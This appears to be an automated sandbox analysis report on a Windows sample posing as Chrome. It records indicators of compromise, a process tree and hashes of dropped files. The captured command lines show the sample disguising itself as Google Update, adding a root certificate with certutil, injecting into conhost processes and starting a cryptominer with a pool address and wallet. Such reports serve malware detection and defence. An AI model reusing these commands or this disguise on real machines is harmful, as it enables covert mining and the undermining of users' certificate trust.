d2308ce690cdcc2a36398b46275c093afb4cfb8360324516f331cde41b5280e3

Analysis

max time kernel
150s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 00:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Chrome.exe
Size 14.3MB
Sample260930-an98tsaf69
SHA256 d2308ce690cdcc2a36398b46275c093afb4cfb8360324516f331cde41b5280e3
MD5 bac9ba849e5f0de203e9c11363c15676
SHA1 72a663a9bb8da8505ab154401fba9e64347dcb52
SHA512 9b4a34f179fa42342f4497c3bce3c3d218a71904df877497f4dc6af6b1f3ba54d9d259502318b37abd9fe0083b42e41181140d8b6aa5bc9dd0743b6cab82c7b0
SSDEEP 393216:bgtsDjfCwjdVcC6IkI1Jy7Yukl4er794USdwZjffoOKQ:bmsDjHAIkMJy7der+US4fog
TLSH
T160E633E16AF16427ED87B4B4D40482613A504AB8437676C8A194E6AF4C3D60BCD3DFFB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 5 IoCs

pid	Process
4664	gupdater.exe
2788	gupdater.exe
2456	gupdater.exe
2796	crashpad_handler.exe
4676	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2456	gupdater.exe
2456	gupdater.exe
2456	gupdater.exe
2456	gupdater.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe
2796	crashpad_handler.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 4664	4704	Chrome.exe	88
PID 4664 wrote to memory of 2976	4664	gupdater.exe	89
PID 2456 wrote to memory of 2796	2456	gupdater.exe	95
PID 2456 wrote to memory of 4676	2456	gupdater.exe	97
PID 2796 wrote to memory of 3672	2796	crashpad_handler.exe	98
PID 2796 wrote to memory of 4108	2796	crashpad_handler.exe	99
PID 2796 wrote to memory of 3680	2796	crashpad_handler.exe	100
PID 2796 wrote to memory of 5192	2796	crashpad_handler.exe	101
PID 2796 wrote to memory of 4064	2796	crashpad_handler.exe	102
PID 2796 wrote to memory of 5056	2796	crashpad_handler.exe	103
PID 2796 wrote to memory of 5836	2796	crashpad_handler.exe	104
PID 2796 wrote to memory of 2632	2796	crashpad_handler.exe	105
PID 2796 wrote to memory of 5232	2796	crashpad_handler.exe	106
PID 2796 wrote to memory of 4352	2796	crashpad_handler.exe	107
PID 2796 wrote to memory of 4832	2796	crashpad_handler.exe	108
PID 2796 wrote to memory of 3012	2796	crashpad_handler.exe	109
PID 2796 wrote to memory of 4844	2796	crashpad_handler.exe	110
PID 2796 wrote to memory of 3796	2796	crashpad_handler.exe	111
PID 2796 wrote to memory of 4776	2796	crashpad_handler.exe	112
PID 2796 wrote to memory of 4300	2796	crashpad_handler.exe	113
PID 2796 wrote to memory of 4388	2796	crashpad_handler.exe	114
PID 2796 wrote to memory of 3312	2796	crashpad_handler.exe	115
PID 2796 wrote to memory of 1980	2796	crashpad_handler.exe	116
PID 2796 wrote to memory of 2852	2796	crashpad_handler.exe	117
PID 2796 wrote to memory of 2348	2796	crashpad_handler.exe	118
PID 2796 wrote to memory of 2200	2796	crashpad_handler.exe	119

C:\Users\Admin\AppData\Local\Temp\Chrome.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4704
- C:\ProgramData\Google\Update\pshkiugu\gupdater.exe
  "C:\ProgramData\Google\Update\pshkiugu\gupdater.exe" /install2
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\SYSTEM32\certutil.exe
    certutil -addstore Root "C:\Users\Admin\AppData\Local\Temp\gucert_tmp.cer"
    3⤵
    PID:2976

C:\ProgramData\Google\Update\pshkiugu\gupdater.exe
"C:\ProgramData\Google\Update\pshkiugu\gupdater.exe" /svc
1⤵
- Executes dropped EXE
PID:2788

C:\ProgramData\Google\Update\pshkiugu\gupdater.exe
"C:\ProgramData\Google\Update\pshkiugu\gupdater.exe" /svc
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2456
- C:\ProgramData\Google\Update\pshkiugu\crashpad_handler.exe
  "C:\ProgramData\Google\Update\pshkiugu\crashpad_handler.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:3672
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4108
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:3680
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:5192
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4064
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:5056
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:5836
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:2632
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:5232
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4352
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4832
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:3012
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4844
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:3796
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4776
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4300
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:4388
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:3312
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:1980
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:2852
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:2348
- - C:\Windows\system32\conhost.exe
    "C:\Windows\system32\conhost.exe"
    3⤵
    PID:2200
- C:\ProgramData\Google\Update\pshkiugu\chrome.exe
  "C:\ProgramData\Google\Update\pshkiugu\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1p4zspqfwvav4azyxgq3s3gzf2vsu8z6tch8f5r268kac57tt4azcq6jf0jx.JGATYMDT
  2⤵
  - Executes dropped EXE
  PID:4676

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

chrome.dll

Path C:\ProgramData\Google\Update\pshkiugu\chrome.dll
Size 78KB
SHA256 777b50d4b27e43e5754e18da6445a891780f1527232a7ddc0ba73dccd8566041
MD5 3ff7da5d52bcfc8166a2eea8520ce993
SHA1 962fd3be07bd2d83599a17f010d8bb21f6132a9d
SHA512 998f2c2382cd68b17807ab67615bcd683c9d64c9fe579eefd2dce0634da936ac71ff914bbde4de095659d12e2e27050b13bbd45150e1af1ade5eaa47d1225430
SSDEEP 1536:TxjntGqLjyUakywcHA66L3DvAuK8Eu5n3kp+kO9ihAp8nJHa9KiZOpoRA:TRtZ/y1Dxu/NK8Eut2+kSCAiziZTi
TLSH
T1C873F18E32C6987FC09FC4BC91DB8A30A9B0B5453D3D3F2DC524C253586D899A7A8C5B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome.exe

Path C:\ProgramData\Google\Update\pshkiugu\chrome.exe
Size 112KB
SHA256 57a762a8599a2ef02b1d70870ad3a6e8a69d39efd63b4180ff7f417cac44c9c5
MD5 e8cc7998f82b4404c03cabd28b98715f
SHA1 e08ee89b20bd71ea21c5930cb8b357ab605428a8
SHA512 23741723b45b541f7354f835d8ba896bc6bafaed2ee38bb420504f984bbf28e988872f5d4980d3c4d1d7545f3f943742c1f97526841b5349b686a756d5ef009b
SSDEEP 3072:kHrIfsDDUz7g+hUmFULwixPhyIoOI4omwZdwg:0IfICazDDs6
TLSH
T1CCB35B0BF29360FCC28BC234959796B1FA717C2506356F3FA990E6353D31E106A5DE2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crashpad_handler.exe

Path C:\ProgramData\Google\Update\pshkiugu\crashpad_handler.exe
Size 99KB
SHA256 4b314e71b5f2d3ff47d493c578792738cea0cbedf1ba209669c14abb99644585
MD5 0c0dc6bebca0f5fe2341750e8abc0ba2
SHA1 9d7090ed27c0d06674e3c287ae713cc2296a722b
SHA512 50e4db68e11b907b418e755ed5791c6fd104c3afc1aed7eaf95fef52e1ba554453a2a6d605d7cb6f2cbf8c660b0ea09e444a807cf3cae6d8fb3196c85f29d389
SSDEEP 1536:cMeIydPURCheGx02zyLDg2SIbP6/HBOTFTfo5OEjleomwjVDBX07:cM1ohzGg2NP6Pi9o8E4omw5D107
TLSH
T10DA31947F29364ECC257C13491979672FB31BC750535AF7FAAA0CA752D20D20AE2CE26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gupdater.exe

Path C:\ProgramData\Google\Update\pshkiugu\gupdater.exe
Size 14.3MB
SHA256 d2308ce690cdcc2a36398b46275c093afb4cfb8360324516f331cde41b5280e3
MD5 bac9ba849e5f0de203e9c11363c15676
SHA1 72a663a9bb8da8505ab154401fba9e64347dcb52
SHA512 9b4a34f179fa42342f4497c3bce3c3d218a71904df877497f4dc6af6b1f3ba54d9d259502318b37abd9fe0083b42e41181140d8b6aa5bc9dd0743b6cab82c7b0
SSDEEP 393216:bgtsDjfCwjdVcC6IkI1Jy7Yukl4er794USdwZjffoOKQ:bmsDjHAIkMJy7der+US4fog
TLSH
T160E633E16AF16427ED87B4B4D40482613A504AB8437676C8A194E6AF4C3D60BCD3DFFB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gucert_tmp.cer

Path C:\Users\Admin\AppData\Local\Temp\gucert_tmp.cer
Size 758B
SHA256 2dce8b2484fb7437c17af890b479988fac2ce5b8dff4823f2b0b2d3f8e5ea313
MD5 999ef191647c4a0dff52548a3f35522a
SHA1 2095e4d0a9993b635026d55f5dfe5eec12ae533b
SHA512 6f8c02b125f359f3328706c0a448378cb2215512a3441f60603f76c7477e6bac9415cdecfe68d1b5c579cbb156237c6d73d7c8dd430536cc9555975de9b4845a
TLSH
T1B801206E7F623112BE4A2C115AC9D3377DB4DE95B821BCC6322245E9EE212F14E0681C
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2456-43-0x00007FF761EE0000-0x00007FF761EF4000-memory.dmp

Download

memory/2456-37-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/2456-44-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/2788-32-0x00007FF761EE0000-0x00007FF761EF4000-memory.dmp

Download

memory/2788-33-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/2796-60-0x00007FF6CC8C0000-0x00007FF6CC8E1000-memory.dmp

Download

memory/4664-12-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/4664-38-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/4664-39-0x00007FF761EE0000-0x00007FF761EF4000-memory.dmp

Download

memory/4664-8-0x00007FF761EE0000-0x00007FF761EF4000-memory.dmp

Download

memory/4676-58-0x00007FF7485C0000-0x00007FF7485E5000-memory.dmp

Download

memory/4704-0-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/4704-7-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/4704-4-0x00007FF7834A0000-0x00007FF7834B4000-memory.dmp

Download

memory/4704-2-0x0000000140000000-0x0000000140E42000-memory.dmp

Download

memory/4704-41-0x00007FF7834A0000-0x00007FF7834B4000-memory.dmp

Download

memory/4704-42-0x0000000140000000-0x0000000140E42000-memory.dmp

Download